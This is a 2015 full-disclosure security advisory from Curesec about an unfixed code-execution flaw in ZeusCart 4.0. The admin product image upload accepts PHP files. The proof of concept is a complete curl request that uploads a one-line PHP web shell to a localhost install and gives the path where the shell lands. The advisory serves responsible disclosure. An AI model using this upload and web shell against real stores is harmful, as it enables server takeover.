full-disclosure - [FD] ZeusCart 4.0: Code Execution

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Message-ID: <55F6F3F1.1090409@curesec.com>
Date: Mon, 14 Sep 2015 18:21:05 +0200
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] ZeusCart 4.0: Code Execution - not fixed

ZeusCart 4.0: Code Execution
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: 	ZeusCart 4.0	
Fixed in: 		not fixed
Fixed Version Link: 	n/a	
Vendor Contact: 	support@...scart.com	
Vulnerability Type: 	Code Execution	
Remote Exploitable: 	Yes	
Reported to vendor: 	08/13/2015	
Disclosed to public: 	09/14/2015	
Release mode: 		Full Disclosure	
CVE: 			n/a	
Credits 		Tim Coen of Curesec GmbH	

2. Vulnerability Description

It is possible to upload PHP files when uploading an image for a new
product. This leads to code execution once an attacker has gained access
to the backend via SQL Injection, CSRF, or XSS.

Please note that an admin account with the right to add products is needed.

3. Proof of Concept

curl -i -s -k  -X 'POST' \
    -H 'Content-Type: multipart/form-data; boundary=--------1849257448' \
    -b 'PHPSESSID=6hioh2kisld85o5f3qo3e5gf86' \
    --data-binary $'----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"selcatgory[]\"\x0d\x0a\x0d\x0a18\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"selcatgory[]\"\x0d\x0a\x0d\x0a22\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"product_title\"\x0d\x0a\x0d\x0atest\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data; name=\"desc\"\x0d\x0a\x0d\x0adesc\x0d
\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data;
name=\"sku\"\x0d\x0a\x0d\x0a5\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"txtweight\"\x0d\x0a\x0d\x0a5\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data; name=\"ufile[0]\"; filename=\"test.php\"\x0d\x0aContent-Type:
application/x-php\x0d\x0a\x0d\x0a<?php
\x0apassthru($_GET[\'x\']);\x0a\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"price\"\x0d\x0a\x0d\x0a6\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"msrp_org\"\x0d\x0a\x0d\x0a6\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:
form-data;
name=\"soh\"\x0d\x0a\x0d\x0a7\x0d\x0a----------1849257448--\x0d\x0a' \

'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert'
The image will be located here:
http://localhost/zeuscart-master/images/products/YYYY-MM-DDHHMMSStest.php

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

08/13/2015 	Informed Vendor about Issue (no reply)
09/07/2015 	Reminded Vendor of release date (no reply)
09/14/2015 	Disclosed to public

6. Blog Reference:
http://blog.curesec.com/article/blog/ZeusCart-40-Code-Execution-57.html

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